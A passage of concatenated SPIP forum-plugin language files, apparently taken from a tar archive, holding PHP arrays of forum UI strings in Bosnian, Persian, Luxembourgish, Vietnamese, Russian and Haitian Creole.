'forum_voir_avant' => 'Pogledaj poruku', # MODIF
'forum_votre_email' => 'Vasa e-mail adresa:', # MODIF
'forum_votre_nom' => 'Vase ime (ili pseudonim):', # MODIF
'forum_vous_enregistrer' => 'Da bi ste ucestvovali u ovom forumu, morate se prijaviti. Naznacite ispod licni identifikator koji vam je dodjeljen. Ako niste vec registrovani, trebate',
'forum_vous_inscrire' => 'se upisati.',
// I
'icone_poster_message' => 'Postavi poruku',
'icone_suivi_forum' => 'Posmatranje javnog foruma: @nb_forums@ contribution(s)',
'icone_suivi_forums' => 'Prati/uredi foruma',
'icone_supprimer_message' => 'Izbrisi ovu poruku',
'icone_valider_message' => 'Ovjeri ovu poruku',
'info_activer_forum_public' => '<i>Da bi ste aktivirali javne forume, izaberite njihov standardni nacin moderacije</i>', # MODIF
'info_appliquer_choix_moderation' => 'Usvoji ovaj izbor moderacije:',
'info_desactiver_forum_public' => 'Dezaktivirati koristenje javnih foruma. Javni forumi mogu dobiti individualnu autorizaciju za clanke; bice zabranjeni za rubrike, kratke poruke, itd.',
'info_envoi_forum' => 'Slanje foruma autorima clanaka',
'info_fonctionnement_forum' => 'Funkcionisanje foruma:',
'info_gauche_suivi_forum_2' => 'Strana <i>pracenja foruma</i> je alatka za rukovodjene vasom stranicom (ne prostor za diskusiju i redakciju). Ona izlistava sve doprinose foruma ovog clanka, kako na privatnoj tako i na javnoj stranici, i dozvoljava rukovodjenje tim doprinosima.', # MODIF
'info_liens_syndiques_3' => 'forumi',
'info_liens_syndiques_4' => 'su',
'info_liens_syndiques_5' => 'forum',
'info_liens_syndiques_6' => 'je',
'info_liens_syndiques_7' => 'na cekanju za ovjeru',
'info_mode_fonctionnement_defaut_forum_public' => 'Standardni nacin funkcionisanja javnih foruma',
'info_option_email' => 'Kada posjetioc sranice postavi novu poruku u forum vezan za neki clanak, autori clanka mogu biti o tome upozoreni putem e-maila. Zelite li koristiti ovu opciju?', # MODIF
'info_pas_de_forum' => 'nema foruma',
'item_activer_forum_administrateur' => 'Aktiviraj forum administratora',
'item_desactiver_forum_administrateur' => 'Dezaktiviraj forum za administratore',
// L
'lien_reponse_article' => 'Odgovori na clanak',
'lien_reponse_breve_2' => 'Odgovori na kratku poruku',
'lien_reponse_rubrique' => 'Odgovori na rubriku',
'lien_reponse_site_reference' => 'Odgovori na referenciranu stranicu:', # MODIF
// O
'onglet_messages_internes' => 'Interne poruke',
'onglet_messages_publics' => 'Javne poruke',
'onglet_messages_vide' => 'Poruke bez teksta',
// R
'repondre_message' => 'Odgovori na ovu poruku',
// T
'titre_cadre_forum_administrateur' => 'Privatni forum za administratore',
'titre_cadre_forum_interne' => 'Interni forum',
'titre_forum' => 'Forum',
'titre_forum_suivi' => 'Pracenje foruma',
'titre_page_forum_suivi' => 'Pracenje foruma'
);
?>
forum_fa.php 0000666 00000030347 15252247467 0007104 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'لا يوجد اي رسائل منتدى',
// B
'bouton_radio_articles_futurs' => ' ( منحصرأ براى مقالات آينده (بر روى داده پى ها بى تأثير ميباشد',
'bouton_radio_articles_tous' => 'به تمامى مقاله ها، بدون استثناء',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'به تمامى مقاله ها، بجز آنهائى كه سخنگاهشان غير فعال است. ',
'bouton_radio_enregistrement_obligatoire' => 'ضبط اجبارى، (كاربران بايد, براى داشتن آدرس الكترونيكى مشترك شوند تا بتوانند پيامهايشان را پست كنند) ',
'bouton_radio_moderation_priori' => 'تعديل از پيش (نوشتهها پيش از تأييد مديران منتشر نميشوند).',
'bouton_radio_modere_abonnement' => 'براى مشتركين',
'bouton_radio_modere_posteriori' => 'تعديل بعدي ',
'bouton_radio_modere_priori' => 'تعديل از پيش',
'bouton_radio_publication_immediate' => 'انتشار فورى پيامها
(پيامها بمحض فرستاده شدن نمايان ميشوند سپس گردانند گان سايت ميتوانند آنها را حذف كنند)',
// D
'documents_interdits_forum' => 'سندهاي ممنوع در سخناگاه ',
// E
'erreur_enregistrement_message' => 'لم يتم تسجيل رسالتك بسبب خطأ تقني',
// F
'form_pet_message_commentaire' => 'يك پيام ، يك تفسير ؟',
'forum' => 'سخنگاه',
'forum_acces_refuse' => '.شما ديگر اجازه استفاده از اين سخنگاه را نداريد',
'forum_attention_dix_caracteres' => '</b>! توجه<b> پيامتان بايد بيش از ده حرف باشد.',
'forum_attention_message_non_poste' => 'تنبيه، لم تبعث برسالتك!',
'forum_attention_trois_caracteres' => '</b>! توجه<b> عنوانتان بايد بيش از سه حرف باشد. ',
'forum_attention_trop_caracteres' => '<b>توجه!</b>(@compte@ كاراكتر براي آنكه ثبت شود، نبايد از @max@ كاراكتر بيشتر شود. ) پيام شما زياد طولاني است ',
'forum_avez_selectionne' => ': شما انتخاب كرده ايد',
'forum_cliquer_retour' => ' </a> اينجا <a href=\'@retour_forum@\'> را براى ادامه كليك كنيد ',
'forum_forum' => 'سخنگاه',
'forum_info_modere' => 'اين سخنگاه از پيش تعديل ميشود: نظر شما پيش از تأييد مديران سايت ظاهر نخواهد شد.',
'forum_lien_hyper' => ' پيوند هايپرتكست ',
'forum_message' => 'پيام شما',
'forum_message_definitif' => 'پيام نهايى : به سايت بفرستيد',
'forum_message_trop_long' => 'پيامتان بيش از حد بلند است. حداكثر اندازه ٢٠٠٠٠ حرف است',
'forum_ne_repondez_pas' => 'به اين ايميل مستقيماً پاسخ ندهيد-از سخنگاه وصلخط در نشاني زير استفاده كنيد:',
'forum_page_url' => 'اگر پيامتان راجع به يك مقاله چاپ شده يا به يك صفحه اى كه داراى اطلاعات سودمندى است مربوط ميشود، خواهشمند است عنوان صفحه وآدرس آنرا در زير مشخص كنيد ',
'forum_permalink' => 'پيوند دائمي به نظر',
'forum_poste_par' => 'پيام @parauteur@ بدنبال مقاله « @titre@ » فرستاده شده. ', # MODIF
'forum_qui_etes_vous' => ' كى هستيد؟ ',
'forum_saisie_texte_info' => 'اين فرم خلاصههاي اسپيپ را ميپذيرد <code>[->url] {{gras}} {italique} <quote> <code></code> و كدهاي HTML <code><q> <del> <ins></code>. براي ايجاد پارگراف، يك خط خالي بگذاريد. .',
'forum_texte' => 'متن پيامتان',
'forum_titre' => ':تيتر',
'forum_url' => 'وب سايت شما ',
'forum_valider' => 'اين انتخاب را معتبر كنيد',
'forum_voir_avant' => 'پيشنمايش',
'forum_votre_email' => 'آدرس ايميل تان',
'forum_votre_nom' => 'نام شما',
'forum_vous_enregistrer' => ' براى شركت در اين سخنگاه، شما بايد از پيش ثبت نام ميكرديد. خواهشمند است كلمه شناساييتان را كه دريافت كرده ايد در زير مشخص كنيد.اگر ثبت نشديد، بايد',
'forum_vous_inscrire' => 'ثبت نام كنيد. ',
// I
'icone_bruler_message' => 'مانند اسپم به نظر ميرسد',
'icone_bruler_messages' => 'مانند اسپم به نظر ميرسد',
'icone_legitimer_message' => 'مجاز به نظر ميرسد',
'icone_poster_message' => 'يك پيام بفرستيد',
'icone_suivi_forum' => ' دنباله سخنگاه همگانى : @nb_forums@ پيام ',
'icone_suivi_forums' => 'پيگيرى/اداره كردن سخنگاه',
'icone_supprimer_message' => 'اين پيام را حذف كنيد',
'icone_supprimer_messages' => 'حذف اين پيامها',
'icone_valider_message' => 'اين پيام را معتبر كنيد',
'icone_valider_messages' => 'معبرساختن اين پيامها',
'icone_valider_repondre_message' => 'معتبر كردن و پاسخ دادن به اين پيام',
'info_1_message_forum' => '1 پيام از سخنگاه',
'info_activer_forum_public' => ' براى فعال كردن سخنگاه همگانى، خواهشمند است شيوه تعديل پيشگزيده را انتخاب كنيد:',
'info_appliquer_choix_moderation' => ': اين انتخاب معتدل را بكار بريد',
'info_config_forums_prive' => 'در قسمت شخصي سايت ميتوانيد چند نوع سخنگاه را فعال كنيد:',
'info_config_forums_prive_admin' => 'يك سخنگاه اختصاصي براي مديران سايت:',
'info_config_forums_prive_global' => 'يك سخنگاهي كلي، گشوده به روي تمام نويسندگان:',
'info_config_forums_prive_objets' => 'يك سخناگاه براي هر مقاله، خبر و سايت ارجاعي و غيره:',
'info_desactiver_forum_public' => 'استفاده از سخنگاه همگانى را غير فعال كنيد. استفاده از آن ميتواند مورد به مورد درباره مقالات داده شود، ولى در موارد ديگر ممنوع خواهد بود',
'info_envoi_forum' => 'ارسال سخنگاه به نويسند گان مقاله ها',
'info_fonctionnement_forum' => ': عملكرد سخنگاه',
'info_forums_liees_mot' => 'پيامهاي سخنگاه مربوط به اين واژه',
'info_gauche_suivi_forum_2' => 'صفحه<i> پيگيري سخنگاهها </i> ابزار اداره سايت (و نه مكانى براى بحث يا نگارش) شماست. اين صفحه، امكان اعلان تمام پيامهاى سخنگاه همگانى و خصوصى و همچنين اداره پيامها را بشما ميدهد.',
'info_liens_syndiques_3' => 'سخنگاه',
'info_liens_syndiques_4' => 'هستند',
'info_liens_syndiques_5' => 'سخنگاه',
'info_liens_syndiques_6' => 'هست',
'info_liens_syndiques_7' => 'در انتظار تأئيد',
'info_liens_texte' => 'پيوند(هاي) محتوا((ها) در داخل متن پيام',
'info_liens_titre' => 'پيوند(هاي) محتوا(ها) در تيتر پيام',
'info_mode_fonctionnement_defaut_forum_public' => 'طرز عملكرد سخنگاه هاى عمومى',
'info_nb_messages_forum' => '@nb@ پيام از سخنگاه',
'info_option_email' => 'هنگاميكه يكى از بينند گان سايت پيامى در سخنگاه راجع به مقالهاى ميفرستد، نويسند گان مقاله ميتوانند از آن آگاه شوند. آيا ميخواهيد اين گزينه را داشته باشيد؟',
'info_pas_de_forum' => 'بدون سخنگاه',
'info_question_visiteur_ajout_document_forum' => 'اگر مايليد به بازديدكنندگان اجازه دهيد كه سندهايي (تصوير، صدا و . . . ) را به پيامهايشان در سخنگاه بچسبانند، فهرست توسعههاي مجاز براي سندها را براي سخنگاهها، در زير، مشخص كنيد (ex: gif, jpg, png, mp3).',
'info_question_visiteur_ajout_document_forum_format' => 'اگر مايليد به تمام انواع سندهايي كه با اسپيپ منطبق است اجازه بدهيد، يك ستاره بگذاريد. اگر اجازه نميدهيد هيچ كار نكنيد.',
'interface_formulaire' => 'فرم ميانجي',
'interface_onglets' => 'فرمها با تبها',
'item_activer_forum_administrateur' => 'سخنگاه گردانندگان سايت را فعال كنيد',
'item_config_forums_prive_global' => 'فعال سازي سخنگاه نويسندگان',
'item_config_forums_prive_objets' => 'فعال سازي اين سخنگاهها',
'item_desactiver_forum_administrateur' => 'سخنگاه گردانندگان سايت را غير فعال كنيد',
'item_non_config_forums_prive_global' => 'غيرفعال سازي سخنگاه نويسندگان',
'item_non_config_forums_prive_objets' => 'غيرفعال سازي اين سخنگاهها',
// L
'lien_reponse_article' => 'پاسخ به مقاله',
'lien_reponse_breve_2' => 'پاسخ به مقاله كوتاه',
'lien_reponse_message' => 'پاسخ به يك پيام',
'lien_reponse_rubrique' => 'پاسخ به بخش',
'lien_reponse_site_reference' => ':پاسخ به سايت مرجع',
// M
'messages_aucun' => 'هيچ',
'messages_meme_auteur' => 'تمام پيامهاي اين نويسنده',
'messages_meme_email' => 'تمام پيامهاي اين ايميل',
'messages_meme_ip' => 'تمام پيامهاي اين آي.پي',
'messages_off' => 'حذفيها',
'messages_perso' => 'اشخاص',
'messages_privadm' => 'ادمينها',
'messages_prive' => 'خصوصي',
'messages_privoff' => 'حذفيها',
'messages_privrac' => 'همگانيها',
'messages_prop' => 'پيشنهاديها',
'messages_publie' => 'منتشرشدهها',
'messages_spam' => 'اسپم',
'messages_tous' => 'همه',
// O
'onglet_messages_internes' => 'پيام هاى داخلى',
'onglet_messages_publics' => 'پيام هاى همگانى',
'onglet_messages_vide' => 'پيام هاى بدون متن',
// R
'repondre_message' => 'پاسخ به اين پيام',
// S
'statut_off' => 'حذفي',
'statut_original' => 'اصلی',
'statut_prop' => 'پيشنهادي',
'statut_publie' => 'منتشر شده',
'statut_spam' => 'اسپم',
// T
'text_article_propose_publication_forum' => 'از طريق سخنگاه پيوست در پائين همين صفحه نظرتان را مورد اين مقاله بيان كنيد.',
'texte_en_cours_validation' => 'مطالب زير منتظر تأييداند',
'texte_en_cours_validation_forum' => 'ميتوانيد از طريق سخنگاههاي پيوست شده به آنها نظراتتان را بيان كنيد.',
'texte_messages_publics' => 'پيامهاي همگاني در مورد:',
'titre_cadre_forum_administrateur' => 'سخنگاه خصوصى گردانندگان سايت',
'titre_cadre_forum_interne' => 'سخنگاه داخلى',
'titre_config_forums_prive' => 'سخنگاههاي قسمت شخصي',
'titre_forum' => 'سخنگاه',
'titre_forum_suivi' => 'دنباله سخنگاه ',
'titre_page_forum_suivi' => 'دنباله سخنگاه',
'titre_selection_action' => 'گزينش',
'tout_voir' => 'تمام پيامها را بنگريد',
// V
'voir_messages_objet' => 'تمام پيامها را بنگريد'
);
?>
paquet-forum_lb.php 0000666 00000000704 15252247467 0010402 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'SPIP-Forum (privat an ëffentlech)',
'forum_slogan' => 'Beaarbechte vun de privaten an ëffentleche Forumen am SPIP'
);
?>
forum_vi.php 0000666 00000014624 15252247467 0007134 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=vi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'chỉ tác động đến bài vở mới (không làm thay đổi database) ',
'bouton_radio_articles_tous' => 'cho tất cả bài vở.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'cho tất cả bài vở trừ những bài không có diễn đàn.',
'bouton_radio_enregistrement_obligatoire' => 'Phải ghi danh (độc giả phải ghi tên và cho địa chỉ email trước khi gửi thư tín vào diễn đàn).',
'bouton_radio_moderation_priori' => 'Phải được chấp thuận trước (thư tín chỉ được đăng sau khi được quản trị viên chấp thuận).', # MODIF
'bouton_radio_modere_abonnement' => 'ghi danh mới được đăng',
'bouton_radio_modere_posteriori' => 'đăng trước, xét sau', # MODIF
'bouton_radio_modere_priori' => 'xét trước, đăng sau', # MODIF
'bouton_radio_publication_immediate' => 'Phát hành thư tín ngay lập tức (thư gửi đi sẽ hiện lên ngay, quản trị viên có thể xóa chúng sau đó).',
// F
'form_pet_message_commentaire' => 'Có nhắn tin hay bình luận gì không?',
'forum' => 'Diễn đàn',
'forum_acces_refuse' => 'Bạn không có quyền vào các diễn đàn này nữa.',
'forum_attention_dix_caracteres' => '<b>Cảnh báo!</b> Thư tín quá ngắn - Phải hơn 10 mẫu tự.',
'forum_attention_trois_caracteres' => '<b>Cảnh báo!</b> Tựa đề quá ngắn - Phải hơn 3 mẫu tự.',
'forum_attention_trop_caracteres' => '<b>Cảnh báo !</b> nội dung thư tín của bạn quá dài (@compte@ mẫu tự) : để có thể lưu trữ, độ dài của nội dung thư tín không được quá @max@ mẫu tự.', # MODIF
'forum_avez_selectionne' => 'Bạn đã chọn:',
'forum_cliquer_retour' => 'Bấm <a href=\'@retour_forum@\'>vô đây</a> để tiếp tục.',
'forum_forum' => 'diễn đàn',
'forum_info_modere' => 'Diễn đàn này được điều hợp trước: bài vở đóng góp sẽ xuất hiện sau khi được quản trị viên chấp thuận.', # MODIF
'forum_lien_hyper' => '<b>Điểm nối hypertext</b> (không bắt buộc)', # MODIF
'forum_message_definitif' => 'Thư tín đã xong: gửi đi',
'forum_message_trop_long' => 'Thư tín dài quá. Độ dài tối đa 20000 mẫu tự.', # MODIF
'forum_ne_repondez_pas' => 'Đừng hồi âm email này, hồi âm trong diễn đàn ở địa chỉ sau đây:', # MODIF
'forum_page_url' => '(Nếu thư tín của bạn có đề cập đến một bài khác trên web, xin điền vào tựa đề và địa chỉ URL của nó dưới đây).',
'forum_poste_par' => 'Có thư tín @parauteur@ đi sau bài của bạn.', # MODIF
'forum_qui_etes_vous' => '<b>Chi tiết về bạn</b> (không bắt buộc)', # MODIF
'forum_texte' => 'Thân bài của thư tín:', # MODIF
'forum_titre' => 'Tựa đề:', # MODIF
'forum_url' => 'URL:', # MODIF
'forum_valider' => 'Xác nhận lựa chọn này',
'forum_voir_avant' => 'Xem lại thư tín trước khi đăng', # MODIF
'forum_votre_email' => 'Địa chỉ email của bạn:', # MODIF
'forum_votre_nom' => 'Tên (hay bí danh):', # MODIF
'forum_vous_enregistrer' => 'Trước khi tham gia vào diễn đàn này, bạn phải ghi danh. Nếu chưa ghi danh, bạn phải',
'forum_vous_inscrire' => 'ghi danh.',
// I
'icone_poster_message' => 'Gửi một thư tín ',
'icone_suivi_forum' => 'Theo dõi diễn đàn : @nb_forums@ dóng góp',
'icone_suivi_forums' => 'Quản trị diễn đàn',
'icone_supprimer_message' => 'Xoá thư tín này',
'icone_valider_message' => 'Chấp thuận',
'info_activer_forum_public' => '<i>Để diễn đàn công cộng hoạt động, xin chọn một trong những phương thức điều hợp sau đây</i>', # MODIF
'info_appliquer_choix_moderation' => 'Dùng phương thức điều hợp này:',
'info_desactiver_forum_public' => 'Khóa việc sử dụng diễn đàn công cộng. Diễn đàn công cộng có thể được cho phép theo từng trường hợp một cho các bài vở; tuy nhiên sẽ cấm không được dùng cho các đề mục, tin ngắn, v.v...',
'info_envoi_forum' => 'Gửi thư tín diễn đàn đến tác giả bài viết',
'info_fonctionnement_forum' => 'Thao tác của diễn đàn: ',
'info_gauche_suivi_forum_2' => 'Trang <i>Quản trị Diễn Đàn</i> là một phương tiện quản trị của trang web (không dùng để trao đổi hay sửa đổi). Trang này liệt kê tất cả mọi thư tín trong diễn đàn công cộng của bài này và cho phép bạn quản trị những thư tín này.', # MODIF
'info_liens_syndiques_3' => ' diễn đàn',
'info_liens_syndiques_4' => ' là',
'info_liens_syndiques_5' => 'diễn đàn',
'info_liens_syndiques_6' => ' là',
'info_liens_syndiques_7' => 'chờ thông qua.',
'info_mode_fonctionnement_defaut_forum_public' => 'Cách thức điều hành định sẵn của diễn đàn công',
'info_option_email' => 'Khi một vị khách gửi thư tín vào diễn đàn có liên hệ tới một bài viết, tác giả bài viết đó có thể được thông báo qua email. Bạn có muốn dùng đặc điểm này không? ', # MODIF
'info_pas_de_forum' => 'không có diễn đàn',
'item_activer_forum_administrateur' => 'Mở diễn đàn quản trị',
'item_desactiver_forum_administrateur' => 'Khóa diễn đàn quản trị viên',
// L
'lien_reponse_article' => 'Hồi âm bài này',
'lien_reponse_breve_2' => 'Hồi âm tin ngắn',
'lien_reponse_rubrique' => 'Hồi âm đề mục này',
'lien_reponse_site_reference' => 'Hồi âm website nối kết:', # MODIF
// O
'onglet_messages_internes' => 'Thư tín nội bộ',
'onglet_messages_publics' => 'Thư tín công cộng',
'onglet_messages_vide' => 'Thư tín không lời',
// R
'repondre_message' => 'Trả lời mẫu tin này',
// T
'titre_cadre_forum_administrateur' => 'Diễn đàn dành riêng cho quản trị viên',
'titre_cadre_forum_interne' => 'Diễn đàn nội bộ',
'titre_forum' => 'Diễn đàn',
'titre_forum_suivi' => 'Quản trị Diễn đàn',
'titre_page_forum_suivi' => 'Quản trị diễn đàn'
);
?>
forum_ru.php 0000666 00000032072 15252247467 0007141 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_message_forum' => 'Нет сообщений',
// B
'bouton_radio_articles_futurs' => 'только для новых материалов (текущие настройки не изменятся).',
'bouton_radio_articles_tous' => 'для всех статей без исключения.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'для всех статей, кроме тех, в которых комментарии отключены.',
'bouton_radio_enregistrement_obligatoire' => 'Только для зарегистрированных пользователей. Посетитель должен зарегистрироваться перед тем как оставить комментарий.',
'bouton_radio_moderation_priori' => 'Комментарии публикуются на сайте после проверки администратором (пре-модерация).',
'bouton_radio_modere_abonnement' => 'только пользователи сайта',
'bouton_radio_modere_posteriori' => 'размещать без проверки',
'bouton_radio_modere_priori' => 'проверять перед размещением',
'bouton_radio_publication_immediate' => 'Новые комментарии публикуются на сайте без предварительной проверки (пост-модерация). Администраторы могут удалить комментарии позже.',
// D
'documents_interdits_forum' => 'Запрещенно добавлять документы к сообщениям форума',
// E
'erreur_enregistrement_message' => 'Из-за технических проблем не получается сохранить ваш комментарий.',
// F
'form_pet_message_commentaire' => 'Комментарии',
'forum' => 'Форум',
'forum_acces_refuse' => 'У вас больше нет доступа к данным форумам.',
'forum_attention_dix_caracteres' => '<b>Внимание!</b> Сообщение должно быть не менее десяти символов.',
'forum_attention_message_non_poste' => 'Внимание, ваш комментарий не опубликован на сайте.',
'forum_attention_nb_caracteres_mini' => '<b>Внимание !</b> текст сообщения должен содержать не меньше @min@ символов.',
'forum_attention_trois_caracteres' => '<b>Внимание!</b> Заголовок должен быть не менее трех символов.',
'forum_attention_trop_caracteres' => '<b>Внимание!</b> Ваше сообщение содержит @compte@ символов, мы можем добавить ваш комментарий только если его размер не превышает @max@ символов.',
'forum_avez_selectionne' => 'Вы выбрали:',
'forum_cliquer_retour' => 'Нажмите <a href=\'@retour_forum@\'>сюда</a> для продолжения.',
'forum_forum' => 'комментарий',
'forum_info_modere' => 'Все комментарии проверяются администрацией сайта. Ваше сообщение будет опубликовано после одобрения администратором.',
'forum_lien_hyper' => 'Ссылка',
'forum_message' => 'Ваше сообщение',
'forum_message_definitif' => 'Всё верно. Отправить!',
'forum_message_trop_long' => 'Вы превысили максимальный размер сообщение, оно должно быть не более 20000 символов.',
'forum_ne_repondez_pas' => 'Не отвечайте на это письмо - перейдите по ссылке:',
'forum_page_url' => '(Если ваше сообщение относится к материалу, размещенному в Интернете, укажите название этой статьи и ссылку на нее).',
'forum_permalink' => 'Постоянная ссылка',
'forum_poste_par' => '@parauteur@ прокомментировал вашу статью « @titre@ ».',
'forum_poste_par_court' => 'Комментарий разместил @parauteur@.',
'forum_poste_par_generique' => 'Комментарий разместил @parauteur@ (@objet@ « @titre@ »).',
'forum_qui_etes_vous' => 'Кто вы?',
'forum_saisie_texte_info' => 'Вы можете использовать следующую разметку текста <code>[->ссылка] {{жирный}} {курсив} <quote> <code></code> и теги HTML <code><q> <del> <ins></code>. Что бы создать новый абзац два раза нажмите enter.',
'forum_texte' => 'Комментарий:',
'forum_titre' => 'Тема:',
'forum_url' => 'URL:',
'forum_valider' => 'Подтвердите выбор',
'forum_voir_avant' => 'Предварительный просмотр',
'forum_votre_email' => 'Ваш e-mail',
'forum_votre_nom' => 'Ваше имя',
'forum_vous_enregistrer' => 'Оставлять комментарии могут только зарегистрированные пользователи. Если вы еще не зарегистрировались на сайте, вы можете',
'forum_vous_inscrire' => 'зарегистрироваться.',
// I
'icone_bruler_message' => 'Отметить как спам',
'icone_bruler_messages' => 'Отметить как спам',
'icone_legitimer_message' => 'Отметить как НЕ спам',
'icone_poster_message' => 'Оставить комментарий',
'icone_suivi_forum' => 'Комментарии: @nb_forums@',
'icone_suivi_forums' => 'Комментарии',
'icone_supprimer_message' => 'Удалить',
'icone_supprimer_messages' => 'Удалить',
'icone_valider_message' => 'Опубликовать комментарий',
'icone_valider_messages' => 'Опубликовать на сайте',
'icone_valider_repondre_message' => 'Опубликовать и ответить',
'info_1_message_forum' => '1 сообщение',
'info_activer_forum_public' => 'Включить комментарии - выберите режим модерации для новых сообщений:',
'info_appliquer_choix_moderation' => 'Применить этот тип модерации:',
'info_config_forums_prive' => 'В административной части сайта доступны следующие форумы:',
'info_config_forums_prive_admin' => 'Форум для администраторов сайта:',
'info_config_forums_prive_global' => 'Форум для всех авторов:',
'info_config_forums_prive_objets' => 'Форум, прикрепленный к каждой статье, новости, ссылочному сайту, и т. д.:',
'info_desactiver_forum_public' => 'Отключить комментарии по сайту. Вы можете отдельно разрешить комментировать конкретные статьи, но в целом комментарии на сайте отключены.',
'info_envoi_forum' => 'Отправлять комментарии авторам статей',
'info_fonctionnement_forum' => 'Модерация комментариев:',
'info_forums_liees_mot' => 'Комментарии относящиеся к этому ключу',
'info_gauche_suivi_forum_2' => 'На странице <i>управление комментариями</i> вы можете управлять комментариями и сообщениями на сайте.',
'info_liens_syndiques_3' => 'комментария(ев)',
'info_liens_syndiques_4' => 'необходимо',
'info_liens_syndiques_5' => 'комментарий',
'info_liens_syndiques_6' => 'необходимо',
'info_liens_syndiques_7' => 'проверить',
'info_liens_texte' => 'Ссылка(и) в тексте комментария',
'info_liens_titre' => 'Ссылка(и) в названии комментария',
'info_mode_fonctionnement_defaut_forum_public' => 'Настройки комментариев на сайте',
'info_nb_messages_forum' => '@nb@ комментария(ев)',
'info_option_email' => 'Оповещение о новом комментарии. Автор статьи может получать оповещение на емейл о новых комментариях к его статье. Укажите, для каких случаев необходимо включить эту возможность.',
'info_pas_de_forum' => 'отключить комментарии',
'info_question_visiteur_ajout_document_forum' => 'Если Вы хотите разрешить посетителям добавлять файлы к комментариям - укажите список расширений файлов, которые можно добавлять (gif, jpg, png, mp3 и т.д.).',
'info_question_visiteur_ajout_document_forum_format' => 'Если вы хотите разрешить загрузку всех типов файлов - поставьте звездочку. Что бы запретить загрузку файлов - оставьте поле пустым.
',
'info_selectionner_message' => 'Выбрать комментарии :',
'interface_formulaire' => 'Стандартный интерфейс',
'interface_onglets' => 'Интерфейс с закладками',
'item_activer_forum_administrateur' => 'Включить форум администраторов',
'item_config_forums_prive_global' => 'Включить форум авторов',
'item_config_forums_prive_objets' => 'Включить эти форумы',
'item_desactiver_forum_administrateur' => 'Отключить форум администраторов',
'item_non_config_forums_prive_global' => 'Отключить форум авторов',
'item_non_config_forums_prive_objets' => 'отключить эти форумы',
// L
'label_selectionner' => 'Выбрать :',
'lien_reponse_article' => 'Комментарий к статье',
'lien_reponse_breve_2' => 'Комментарий к новости',
'lien_reponse_message' => 'Ответить на сообщение',
'lien_reponse_rubrique' => 'Комментарий к разделу',
'lien_reponse_site_reference' => 'Комментарий к сайту',
'lien_vider_selection' => 'Очистить выбранное',
// M
'messages_aucun' => 'Нет',
'messages_meme_auteur' => 'Все комментарии этого автора',
'messages_meme_email' => 'Все комментарии с этого емейла',
'messages_meme_ip' => 'Все комментарии с этого IP',
'messages_off' => 'Удаленные',
'messages_perso' => 'Личные',
'messages_privadm' => 'Администраторы',
'messages_prive' => 'Внутренние',
'messages_privoff' => 'Удаленные',
'messages_privrac' => 'Общие',
'messages_prop' => 'На проверке',
'messages_publie' => 'Опубликовано',
'messages_spam' => 'Спам',
'messages_tous' => 'Все',
// O
'onglet_messages_internes' => 'Внутренние комментарии ',
'onglet_messages_publics' => 'Комментарии на сайте',
'onglet_messages_vide' => 'Комментарии без текста',
// R
'repondre_message' => 'Ответить на это сообщение',
// S
'statut_off' => 'Удалить',
'statut_original' => 'Исходник',
'statut_prop' => 'На проверке',
'statut_publie' => 'Опубликовано',
'statut_spam' => 'Спам',
// T
'text_article_propose_publication_forum' => 'Вы можете прокомментировать эту статью, используя прикрепленный форум (внизу страницы).',
'texte_en_cours_validation' => 'Статьи, новости и комментарии на модерации.',
'texte_en_cours_validation_forum' => 'Вы можете оставлять Ваши комментарии, используя прикрепленные к ним форумы',
'texte_messages_publics' => 'Сообщение на сайте о:',
'titre_cadre_forum_administrateur' => 'Форум для администраторов',
'titre_cadre_forum_interne' => 'Внутренний форум',
'titre_config_forums_prive' => 'Внутренние комментарии',
'titre_forum' => 'Комментарии',
'titre_forum_suivi' => 'Управление комментариями',
'titre_page_forum_suivi' => 'Управление комментариями',
'titre_selection_action' => 'Выбрать',
'tout_voir' => 'Все сообщения',
// V
'voir_messages_objet' => 'просмотреть'
);
?>
paquet-forum_fa.php 0000666 00000000747 15252247467 0010402 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-forum?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// F
'forum_description' => 'سخنگاه اسپيپ (خصوصي همگاني)؟',
'forum_slogan' => 'مديريت سخنگاههاي خصوصي و همگاني در اسپيپ'
);
?>
forum_cpf_hat.php 0000666 00000013100 15252247467 0010106 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/forum?lang_cible=cpf_hat
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_radio_articles_futurs' => 'pou nouvo atik yo ke rive apré sélman (okenn aksyon sou bazdone).',
'bouton_radio_articles_tous' => 'pou tout atik yo mèm.',
'bouton_radio_articles_tous_sauf_forum_desactive' => 'pout tout atik yo, sof kank yon fowom a y pa mache.',
'bouton_radio_enregistrement_obligatoire' => 'Enskrisyon nesesè (
fòk itilizatè yo abonn a w ek donn yon ladrès limèl avan poste yon patisipasyon)
.',
'bouton_radio_moderation_priori' => 'Modèwasyon avan (
patisipasyon yo zitilizatè tout ke pa afiche sou sitwèb piblik si yon komandé te pa konfime y
